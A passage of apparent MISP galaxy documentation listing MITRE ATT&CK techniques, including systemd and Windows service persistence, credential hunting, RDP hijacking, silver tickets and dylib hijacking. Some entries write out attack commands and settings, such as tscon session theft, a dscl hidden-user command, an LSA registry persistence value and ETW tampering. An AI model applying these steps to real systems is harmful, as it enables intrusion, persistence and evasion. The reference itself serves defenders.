- ExecStop and ExecStopPost directives cover when a service is stopped or manually by 'systemctl'.

Adversaries have used systemd functionality to establish persistent access to victim systems by creating and/or modifying service unit files that cause systemd to execute malicious commands at system boot.(Citation: Anomali Rocke March 2019)

While adversaries typically require root privileges to create/modify service unit files in the `/etc/systemd/system` and `/usr/lib/systemd/system` directories, low privilege users can create/modify service unit files in directories such as `~/config/systemd/user` to achieve user-level persistence.(Citation: Rapid7 Service Persistence 22JUNE2016)

The tag is: *misp-galaxy:mitre-attack-pattern="Systemd Service - T1543.002"*

## Bash History - T1552.003

Adversaries may search the bash command history on compromised systems for insecurely stored credentials. Bash keeps track of the commands users type on the command-line with the "history" utility. Once a user logs out, the history is flushed to the user's `~/.bash_history` file. For each user, this file resides at the same location: `~/.bash_history`. Typically, this file keeps track of the user's last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Attackers can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way)

## Code Signing - T1553.002

Adversaries may create, acquire, or steal code signing materials to sign their malware or tools. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. (Citation: Wikipedia Code Signing) The certificates used during an operation may be created, acquired, or stolen by the adversary. (Citation: Securelist Digital Certificates) (Citation: Symantec Digital Certificates) Unlike [Invalid Code Signature](<https://attack.mitre.org/techniques/T1036/001>), this activity will result in a valid signature.

Code signing to verify software on first run can be used on modern Windows and macOS/OS X systems. It is not used on Linux due to the decentralized nature of the platform. (Citation:

Wikipedia Code Signing)

Code signing certificates may be used to bypass security policies that require signed code to execute on a system.

The tag is: *misp-galaxy:mitre-attack-pattern="Code Signing - T1553.002"*

## RDP Hijacking - T1563.002

Adversaries may hijack a legitimate user's remote desktop session to move laterally within an environment. Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services)

Adversaries may perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session. With System permissions and using Terminal Services Console, `c:\windows\system32\tscon.exe [session number to be stolen]`, an adversary can hijack a session without the need for credentials or prompts to the user.(Citation: RDP Hijacking Korznikov) This can be done remotely or locally and with active or disconnected sessions.(Citation: RDP Hijacking Medium) It can also lead to [Remote System Discovery](<https://attack.mitre.org/techniques/T1018>) and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in red teaming tools.(Citation: Kali Redsnarf)

<a href="https://github.com/nccgroup/redsnarf">https://github.com/nccgroup/redsnarf</a>

## Asymmetric Cryptography - T1573.002

Adversaries may employ a known asymmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Asymmetric cryptography, also known as public key cryptography, uses a keypair per party: one public that can be freely distributed, and one private. Due to how the keys are generated, the sender encrypts data with the receiver's public key and the receiver decrypts the data with their private key. This ensures that only the intended recipient can read the encrypted data. Common public key encryption algorithms include RSA and ElGamal.

For efficiency, many protocols (including SSL/TLS) use symmetric cryptography once a connection is established, but use asymmetric cryptography to establish or transmit a key. As such, these protocols are classified as [Asymmetric Cryptography](<https://attack.mitre.org/techniques/T1573/002>).

The tag is: *misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002"*

## DNS Server - T1583.002

Before compromising a victim, adversaries may set up their own Domain Name System (DNS) servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](<https://attack.mitre.org/techniques/T1071>)). Instead of hijacking existing DNS servers, adversaries may opt to configure and run their own DNS servers in support of operations.

By running their own DNS servers, adversaries can have more control over how they administer server-side DNS C2 traffic ([DNS](<https://attack.mitre.org/techniques/T1071/004>)). With control over a DNS server, adversaries can configure DNS applications to provide conditional responses to malware and, generally, have more flexibility in the structure of the DNS-based C2 channel.(Citation: Unit42 DNS Mar 2019)

The tag is: *misp-galaxy:mitre-attack-pattern="DNS Server - T1583.002"*

## Search Engines - T1593.002

Before compromising a victim, adversaries may use search engines to collect information about victims that can be used during targeting. Search engine services typically crawl online sites to index content and may provide users with specialized syntax to search for specific keywords or specific types of content (i.e. filetypes). (Citation: SecurityTrails Google Hacking) (Citation: ExploitDB GoogleHacking)

Adversaries may craft various search engine queries depending on what information they seek to gather. Threat actors may use search engines to harvest general information about victims, as well as use specialized queries to look for spillages/leaks of sensitive information such as network details or credentials. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](<https://attack.mitre.org/techniques/T1598>) or [Search Open Technical Databases](<https://attack.mitre.org/techniques/T1596>)), establishing operational resources (ex: [Establish Accounts](<https://attack.mitre.org/techniques/T1585>) or [Compromise Accounts](<https://attack.mitre.org/techniques/T1586>)), and/or initial access (ex: [Valid Accounts](<https://attack.mitre.org/techniques/T1078>) or [Phishing](<https://attack.mitre.org/techniques/T1566>)).

The tag is: *misp-galaxy:mitre-attack-pattern="Search Engines - T1593.002"*

## TFTP Boot - T1542.005

Adversaries may abuse netbooting to load an unauthorized network device operating system from a Trivial File Transfer Protocol (TFTP) server. TFTP boot (netbooting) is commonly used by network administrators to load configuration-controlled network device images from a centralized management server. Netbooting is one option in the boot sequence and can be used to centralize, manage, and control device images.

Adversaries may manipulate the configuration on the network device specifying use of a malicious TFTP server, which may be used in conjunction with [Modify System Image](<https://attack.mitre.org/techniques/T1601>) to load a modified image on device startup or reset. The unauthorized image allows adversaries to modify device configuration, add malicious capabilities to the device, and introduce backdoors to maintain control of the network device while minimizing detection through use of a standard functionality. This technique is similar to [ROMMONkit](<https://attack.mitre.org/techniques/T1542/004>) and may result in the network device running a modified image. (Citation: Cisco Blog Legacy Device Attacks)

## Private Keys - T1552.004

Adversaries may search for private key certificate files on compromised systems for insecurely stored credentials. Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures.(Citation: Wikipedia Public Key Crypto) Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc.

Adversaries may also look in common key directories, such as `~/ssh` for SSH keys on \*nix-based systems or `C:\Users\username\ssh` on Windows. These private keys can be used to authenticate to [Remote Services](<https://attack.mitre.org/techniques/T1021>) like SSH or for use in decrypting other collected files such as email.

Adversary tools have been discovered that search compromised systems for file extensions relating to cryptographic keys and certificates.(Citation: Kaspersky Careto)(Citation: Palo Alto Prince of Persia)

Some private keys require a password or passphrase for operation, so an adversary may also use [Input Capture](<https://attack.mitre.org/techniques/T1056>) for keylogging or attempt to [Brute Force](<https://attack.mitre.org/techniques/T1110>) the passphrase off-line.

The tag is: *misp-galaxy:mitre-attack-pattern="Private Keys - T1552.004"*

## Hidden Users - T1564.002

Adversaries may use hidden users to mask the presence of user accounts they create. Every user account in macOS has a userID associated with it. When creating a user, you can specify the userID

for that account.

There is a property value in `/Library/Preferences/com.apple.loginwindow` called `Hide500Users` that prevents users with userIDs 500 and lower from appearing at the login screen. When using the [Create Account](<https://attack.mitre.org/techniques/T1136>) technique with a userID under 500 (ex: `sudo dscl . -create /Users/username UniqueID 401`) and enabling this property (setting it to Yes), an adversary can conceal user accounts. (Citation: Cybereason OSX Pirrit).

## Authentication Package - T1547.002

Adversaries may abuse authentication packages to execute DLLs when the system boots. Windows authentication package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system. (Citation: MSDN Authentication Packages)

Adversaries can use the autostart mechanism provided by LSA authentication packages for persistence by placing a reference to a binary in the Windows Registry location `HKLM\SYSTEM\CurrentControlSet\Control\Lsa` with the key value of `"Authentication Packages"=<target binary>`. The binary will then be executed by the system when the authentication packages are loaded.

The tag is: *misp-galaxy:mitre-attack-pattern="Authentication Package - T1547.002"*

## DNS Server - T1584.002

Before compromising a victim, adversaries may compromise third-party DNS servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](<https://attack.mitre.org/techniques/T1071>)). Instead of setting up their own DNS servers, adversaries may compromise third-party DNS servers in support of operations.

By compromising DNS servers, adversaries can alter DNS records. Such control can allow for redirection of an organization's traffic, facilitating Collection and Credential Access efforts for the adversary.(Citation: Talos DNSspionage Nov 2018)(Citation: FireEye DNS Hijack 2019) Adversaries may also be able to silently create subdomains pointed at malicious servers without tipping off the actual owner of the DNS server.(Citation: CiscoAngler)(Citation: Proofpoint Domain Shadowing)

The tag is: *misp-galaxy:mitre-attack-pattern="DNS Server - T1584.002"*

## Client Configurations - T1592.004

Before compromising a victim, adversaries may gather information about the victim's client configurations that can be used during targeting. Information about client configurations may include a variety of details and settings, including operating system/version, virtualization, architecture (ex: 32 or 64 bit), language, and/or time zone.

Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](<https://attack.mitre.org/techniques/T1595>) (ex: listening ports, server banners, user agent strings) or [Phishing for Information](<https://attack.mitre.org/techniques/T1598>). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the client configurations may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](<https://attack.mitre.org/techniques/T1593>) or [Search Open Technical Databases](<https://attack.mitre.org/techniques/T1596>)), establishing operational resources (ex: [Develop Capabilities](<https://attack.mitre.org/techniques/T1587>) or [Obtain Capabilities](<https://attack.mitre.org/techniques/T1588>)), and/or initial access (ex: [Supply Chain Compromise](<https://attack.mitre.org/techniques/T1195>) or [External Remote Services](<https://attack.mitre.org/techniques/T1133>)).

## Reflection Amplification - T1498.002

Adversaries may attempt to cause a denial of service by reflecting a high-volume of network traffic to a target. This type of Network DoS takes advantage of a third-party server intermediary that hosts and will respond to a given spoofed source IP address. This third-party server is commonly termed a reflector. An adversary accomplishes a reflection attack by sending packets to reflectors with the spoofed address of the victim. Similar to Direct Network Floods, more than one system may be used to conduct the attack, or a botnet may be used. Likewise, one or more reflector may be used to focus traffic on the target.(Citation: Cloudflare ReflectionDoS May 2017)

Reflection attacks often take advantage of protocols with larger responses than requests in order to amplify their traffic, commonly known as a Reflection Amplification attack. Adversaries may be able to generate an increase in volume of attack traffic that is several orders of magnitude greater than the requests sent to the amplifiers. The extent of this increase will depending upon many variables, such as the protocol in question, the technique used, and the amplifying servers that actually produce the amplification in attack volume. Two prominent protocols that have enabled Reflection Amplification Floods are DNS(Citation: Cloudflare DNSAmplificationDoS) and NTP(Citation: Cloudflare NTPAmplificationDoS), though the use of several others in the wild have been documented.(Citation: Arbor AnnualDoSreport Jan 2018) In particular, the memcache protocol showed itself to be a powerful protocol, with amplification sizes up to 51,200 times the requesting packet.(Citation: Cloudflare Memcrashed Feb 2018)

The tag is: *misp-galaxy:mitre-attack-pattern="Reflection Amplification - T1498.002"*

## Securityd Memory - T1555.002

An adversary may obtain root access (allowing them to read securityd's memory), then they can scan through memory to find the correct sequence of keys in relatively few tries to decrypt the

user's logon keychain. This provides the adversary with all the plaintext passwords for users, WiFi, mail, browsers, certificates, secure notes, etc.(Citation: OS X Keychain) (Citation: OSX Keydnap malware)

In OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple's keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords. (Citation: OS X Keychain) (Citation: External to DA, the OS X Way) Apple's securityd utility takes the user's logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user's password, but once the master key is found, an attacker need only iterate over the other values to unlock the final password.(Citation: OS X Keychain)

## Email Accounts - T1585.002

Before compromising a victim, adversaries may create email accounts that can be used during targeting. Adversaries can use accounts created with email providers to further their operations, such as leveraging them to conduct [Phishing for Information](<https://attack.mitre.org/techniques/T1598>) or [Phishing](<https://attack.mitre.org/techniques/T1566>). (Citation: Mandiant APT1) Adversaries may also take steps to cultivate a persona around the email account, such as through use of [Social Media Accounts](<https://attack.mitre.org/techniques/T1585/001>), to increase the chance of success of follow-on behaviors. Created email accounts can also be used in the acquisition of infrastructure (ex: [Domains](<https://attack.mitre.org/techniques/T1583/001>)). (Citation: Mandiant APT1)

To decrease the chance of physically tying back operations to themselves, adversaries may make use of disposable email services.(Citation: Trend Micro R980 2016)

The tag is: *misp-galaxy:mitre-attack-pattern="Email Accounts - T1585.002"*

## Silver Ticket - T1558.002

Adversaries who have the password hash of a target service account (e.g. SharePoint, MSSQL) may forge Kerberos ticket granting service (TGS) tickets, also known as silver tickets. Kerberos TGS tickets are also known as service tickets.(Citation: ADSecurity Silver Tickets)

Silver tickets are more limited in scope in than golden tickets in that they only enable adversaries to access a particular resource (e.g. MSSQL) and the system that hosts the resource; however, unlike golden tickets, adversaries with the ability to forge silver tickets are able to create TGS tickets without interacting with the Key Distribution Center (KDC), potentially making detection more difficult.(Citation: ADSecurity Detecting Forged Tickets)

Password hashes for target services may be obtained using [OS Credential Dumping](<https://attack.mitre.org/techniques/T1003>) or [Kerberoasting](<https://attack.mitre.org/techniques/T1558/003>).

## Vulnerability Scanning - T1595.002

Before compromising a victim, adversaries may scan victims for vulnerabilities that can be used during targeting. Vulnerability scans typically check if the configuration of a target host/application (ex: software and version) potentially aligns with the target of a specific exploit the adversary may seek to use.

These scans may also include more broad attempts to [Gather Victim Host Information](<https://attack.mitre.org/techniques/T1592>) that can be used to identify more commonly known, exploitable vulnerabilities. Vulnerability scans typically harvest running software and version numbers via server banners, listening ports, or other network artifacts.(Citation: OWASP Vuln Scanning) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](<https://attack.mitre.org/techniques/T1593>) or [Search Open Technical Databases](<https://attack.mitre.org/techniques/T1596>)), establishing operational resources (ex: [Develop Capabilities](<https://attack.mitre.org/techniques/T1587>) or [Obtain Capabilities](<https://attack.mitre.org/techniques/T1588>)), and/or initial access (ex: [Exploit Public-Facing Application](<https://attack.mitre.org/techniques/T1190>)).

## Indicator Blocking - T1562.006

An adversary may attempt to block indicators or events typically captured by sensors from being gathered and analyzed. This could include maliciously redirecting (Citation: Microsoft Lamin Sept 2017) or even disabling host-based sensors, such as Event Tracing for Windows (ETW),(Citation: Microsoft About Event Tracing 2018) by tampering settings that control the collection and flow of event telemetry. (Citation: Medium Event Tracing Tampering 2018) These settings may be stored on the system in configuration files and/or in the Registry as well as being accessible via administrative utilities such as [PowerShell](<https://attack.mitre.org/techniques/T1059/001>) or [Windows Management Instrumentation](<https://attack.mitre.org/techniques/T1047>).

ETW interruption can be achieved multiple ways, however most directly by defining conditions using the [PowerShell](<https://attack.mitre.org/techniques/T1059/001>) `<code>Set-EtwTraceProvider</code>` cmdlet or by interfacing directly with the Registry to make alterations.

In the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process responsible for forwarding telemetry and/or creating a host-based firewall rule to block traffic to specific hosts responsible for aggregating events, such as security information and event management (SIEM) products.

## Spearphishing Link - T1566.002

Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments.

All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](<https://attack.mitre.org/techniques/T1204>). The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly or verify the receipt of an email (i.e. web bugs/web beacons). Links may also direct users to malicious applications designed to [Steal Application Access Token](<https://attack.mitre.org/techniques/T1528>), like OAuth tokens, in order to gain access to protected applications and information.(Citation: Trend Micro Pawn Storm OAuth 2017)

## Email Accounts - T1586.002

Before compromising a victim, adversaries may compromise email accounts that can be used during targeting. Adversaries can use compromised email accounts to further their operations, such as leveraging them to conduct [Phishing for Information](<https://attack.mitre.org/techniques/T1598>) or [Phishing](<https://attack.mitre.org/techniques/T1566>). Utilizing an existing persona with a compromised email account may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. Compromised email accounts can also be used in the acquisition of infrastructure (ex: [Domains](<https://attack.mitre.org/techniques/T1583/001>)).

A variety of methods exist for compromising email accounts, such as gathering credentials via [Phishing for Information](<https://attack.mitre.org/techniques/T1598>), purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps).(Citation: AnonHBGary) Prior to compromising email accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation.

Adversaries can use a compromised email account to hijack existing email threads with targets of interest.

The tag is: *misp-galaxy:mitre-attack-pattern="Email Accounts - T1586.002"*

Table 3566. Table References

## Service Execution - T1569.002

Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager (`services.exe`) is an interface to manage and manipulate services.(Citation: Microsoft Service Control Manager) The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and [Net](<https://attack.mitre.org/software/S0039>).

[PsExec](<https://attack.mitre.org/software/S0029>) can also be used to execute commands or payloads via a temporary Windows service created through the service control manager API.(Citation: Russinovich Sysinternals)

Adversaries may leverage these mechanisms to execute malicious content. This can be done by either executing a new or modified service. This technique is the execution used in conjunction with [Windows Service](<https://attack.mitre.org/techniques/T1543/003>) during service persistence or privilege escalation.

The tag is: *misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002"*

## Email Addresses - T1589.002

Before compromising a victim, adversaries may gather email addresses that can be used during targeting. Even if internal instances exist, organizations may have public-facing email infrastructure and addresses for employees.

Adversaries may easily gather email addresses, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](<https://attack.mitre.org/techniques/T1593/001>) or [Search Victim-Owned Websites](<https://attack.mitre.org/techniques/T1594>)).(Citation: HackersArise Email)(Citation: CNET Leaks) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](<https://attack.mitre.org/techniques/T1593>) or [Phishing for Information](<https://attack.mitre.org/techniques/T1598>)), establishing operational resources (ex: [Email Accounts](<https://attack.mitre.org/techniques/T1586/002>)), and/or initial access (ex: [Phishing](<https://attack.mitre.org/techniques/T1566>)).

The tag is: *misp-galaxy:mitre-attack-pattern="Email Addresses - T1589.002"*

## Spearphishing Attachment - T1598.002

Before compromising a victim, adversaries may send spearphishing messages with a malicious attachment to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](<https://attack.mitre.org/techniques/T1585>) or [Compromise Accounts](<https://attack.mitre.org/techniques/T1586>)) and/or sending multiple, seemingly urgent messages.

All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon the recipient populating information then returning the file.(Citation: Sophos Attachment)(Citation: GitHub Phishery) The text of the spearphishing email usually tries to give a plausible reason why the file should be filled-in, such as a request for information from a business associate. Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](<https://attack.mitre.org/techniques/T1593>) or [Search Victim-Owned Websites](<https://attack.mitre.org/techniques/T1594>)) to craft persuasive and believable lures.

The tag is: *misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1598.002"*

## Windows Service - T1543.003

Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that

perform background system functions.(Citation: TechNet Services) Windows service configuration information, including the file path to the service’s executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and [Reg](<https://attack.mitre.org/software/S0075>).

Adversaries may install a new service or modify an existing service by using system utilities to interact with services, by directly modifying the Registry, or by using custom tools to interact with the Windows API. Adversaries may configure services to execute at startup in order to persist on a system.

An adversary may also incorporate [Masquerading](<https://attack.mitre.org/techniques/T1036>) by using a service name from a related operating system or benign software, or by modifying existing services to make detection analysis more challenging. Modifying existing services may interrupt their functionality or may enable services that are disabled or otherwise not commonly used.

Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges from administrator to SYSTEM. Adversaries may also directly start services through [Service Execution](<https://attack.mitre.org/techniques/T1569/002>).

The tag is: *misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003"*

## Launch Daemon - T1543.004

Adversaries may create or modify launch daemons to repeatedly execute malicious payloads as part of persistence. Per Apple’s developer documentation, when macOS and OS X boot up, launchd is run to finish system initialization. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in `/System/Library/LaunchDaemons` and `/Library/LaunchDaemons` (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).

Adversaries may install a new launch daemon that can be configured to execute at startup by using

launchd or launchctl to load a plist into the appropriate directories (Citation: OSX Malware Detection). The daemon name may be disguised by using a name from a related operating system or benign software (Citation: WireLurker). Launch Daemons may be created with administrator privileges, but are executed under root privileges, so an adversary may also use a service to escalate privileges from administrator to root.

The plist file permissions must be root:wheel, but the script or program that it points to has no such requirement. So, it is possible for poor configurations to allow an adversary to modify a current Launch Daemon's executable and gain persistence or Privilege Escalation.

The tag is: *misp-galaxy:mitre-attack-pattern="Launch Daemon - T1543.004"*

## Hidden Window - T1564.003

Adversaries may use hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks.

On Windows, there are a variety of features in scripting languages in Windows, such as [PowerShell](<https://attack.mitre.org/techniques/T1059/001>), Jscript, and [Visual Basic](<https://attack.mitre.org/techniques/T1059/005>) to make windows hidden. One example of this is `powershell.exe -WindowStyle Hidden`. (Citation: PowerShell About 2019)

Similarly, on macOS the configurations for how applications run are listed in property list (plist) files. One of the tags in these files can be `apple.awt.UIElement`, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock.

Adversaries may abuse these functionalities to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system.(Citation: Antiquated Mac Malware)

The tag is: *misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003"*

## Time Providers - T1547.003

Adversaries may abuse time providers to execute DLLs when the system boots. The Windows Time service (W32Time) enables time synchronization across and within domains. (Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients. (Citation: Microsoft TimeProvider)

Time providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of

`HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\W32Time\TimeProviders\`. (Citation: Microsoft TimeProvider) The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed. (Citation: Microsoft TimeProvider)

Adversaries may abuse this architecture to establish persistence, specifically by registering and enabling a malicious DLL as a time provider. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account. (Citation: Github W32Time Oct 2017)

The tag is: *misp-galaxy:mitre-attack-pattern="Time Providers - T1547.003"*

## DNS Calculation - T1568.003

Adversaries may perform calculations on addresses returned in DNS results to determine which port and IP address to use for command and control, rather than relying on a predetermined port number or the actual returned IP address. A IP and/or port number calculation can be used to bypass egress filtering on a C2 channel.(Citation: Meyers Numbered Panda)

One implementation of [DNS Calculation](<https://attack.mitre.org/techniques/T1568/003>) is to take the first three octets of an IP address in a DNS response and use those values to calculate the port for command and control traffic.(Citation: Meyers Numbered Panda)(Citation: Moran 2014)(Citation: Rapid7G20Espionage)

## Web Services - T1583.006

Before compromising a victim, adversaries may register for web services that can be used during targeting. A variety of popular websites exist for adversaries to register for a web-based service that can be abused during later stages of the adversary lifecycle, such as during Command and Control ([Web Service](<https://attack.mitre.org/techniques/T1102>)) or [Exfiltration Over Web Service](<https://attack.mitre.org/techniques/T1567>). Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, adversaries can make it difficult to physically tie back operations to them.

The tag is: *misp-galaxy:mitre-attack-pattern="Web Services - T1583.006"*

Table 3575. Table References

Links
<a href="https://attack.mitre.org/techniques/T1583/006">https://attack.mitre.org/techniques/T1583/006</a>

## Digital Certificates - T1596.003

Before compromising a victim, adversaries may search public digital certificate data for information about victims that can be used during targeting. Digital certificates are issued by a certificate authority (CA) in order to cryptographically verify the origin of signed content. These certificates, such as those used for encrypted web traffic (HTTPS SSL/TLS communications), contain information about the registered organization such as name and location.

Adversaries may search digital certificate data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about certificates.(Citation: SSLShopper Lookup) Digital certificate data may also be available from artifacts signed by the organization (ex: certificates used from encrypted web traffic are served with content).(Citation: Medium SSL Cert) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](<https://attack.mitre.org/techniques/T1595>) or [Phishing for Information](<https://attack.mitre.org/techniques/T1598>)), establishing operational resources (ex: [Develop Capabilities](<https://attack.mitre.org/techniques/T1587>) or [Obtain Capabilities](<https://attack.mitre.org/techniques/T1588>)), and/or initial access (ex: [External Remote Services](<https://attack.mitre.org/techniques/T1133>) or [Trusted Relationship](<https://attack.mitre.org/techniques/T1199>)).

## Digital Certificates - T1587.003

Before compromising a victim, adversaries may create self-signed SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. In the case of self-signing, digital certificates will lack the element of trust associated with the signature of a third-party certificate authority (CA).

Adversaries may create self-signed SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: [Web Protocols](<https://attack.mitre.org/techniques/T1071/001>)) or even enabling [Man-in-the-Middle](<https://attack.mitre.org/techniques/T1557>) if added to the root of trust (i.e. [Install Root Certificate](<https://attack.mitre.org/techniques/T1553/004>)).

## Employee Names - T1589.003

Before compromising a victim, adversaries may gather employee names that can be used during targeting. Employee names be used to derive email addresses as well as to help guide other reconnaissance efforts and/or craft more-believable lures.

Adversaries may easily gather employee names, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](<https://attack.mitre.org/techniques/T1593/001>) or [Search Victim-Owned Websites](<https://attack.mitre.org/techniques/T1594>)).(Citation: OPM Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](<https://attack.mitre.org/techniques/T1593>) or [Phishing for Information](<https://attack.mitre.org/techniques/T1598>)), establishing operational resources (ex: [Compromise Accounts](<https://attack.mitre.org/techniques/T1586>)), and/or initial access (ex: [Phishing](<https://attack.mitre.org/techniques/T1566>) or [Valid Accounts](<https://attack.mitre.org/techniques/T1078>)).

The tag is: *misp-galaxy:mitre-attack-pattern="Employee Names - T1589.003"*

## Spearphishing Link - T1598.003

Before compromising a victim, adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](<https://attack.mitre.org/techniques/T1585>) or [Compromise Accounts](<https://attack.mitre.org/techniques/T1586>)) and/or sending multiple, seemingly urgent messages.

All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser.(Citation: TrendMicro Phishing)(Citation: PCMag FakeLogin) The given website may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. From the fake website, information is gathered in web forms and sent to the attacker. Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](<https://attack.mitre.org/techniques/T1593>) or [Search Victim-Owned Websites](<https://attack.mitre.org/techniques/T1594>)) to craft persuasive and believable lures.

The tag is: *misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1598.003"*

## Dylib Hijacking - T1574.004

Adversaries may execute their own malicious payloads by hijacking ambiguous paths used to load libraries. Adversaries may plant trojan dynamic libraries, in a directory that will be searched by the operating system before the legitimate library specified by the victim program, so that their malicious library will be loaded into the victim program instead. MacOS and OS X use a common method to look for required dynamic libraries (dylib) to load into a program based on search paths.

A common method is to see what dylibs an application uses, then plant a malicious version with the same name higher up in the search path. This typically results in the dylib being in the same folder as the application itself. (Citation: Writing Bad Malware for OSX) (Citation: Malware Persistence on OS X)

If the program is configured to run at a higher privilege level than the current user, then when the dylib is loaded into the application, the dylib will also run at that elevated level.

The tag is: *misp-galaxy:mitre-attack-pattern="Dylib Hijacking - T1574.004"*

## LC\_LOAD\_DYLIB Addition - T1546.006

Adversaries may establish persistence by executing malicious content triggered by the execution of tainted binaries. Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC\_LOAD\_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long as adjustments are made to the rest of the fields and dependencies. (Citation: Writing Bad Malware for OSX) There are tools available to perform these changes.

Adversaries may modify Mach-O binary headers to load and execute malicious dylibs every time the binary is executed. Although any changes will invalidate digital signatures on binaries because the binary is being modified, this can be remediated by simply removing the LC\_CODE\_SIGNATURE command from the binary so that the signature isn't checked at load time. (Citation: Malware Persistence on OS X)

The tag is: *misp-galaxy:mitre-attack-pattern="LC\_LOAD\_DYLIB Addition - T1546.006"*

## VBA Stomping - T1564.007

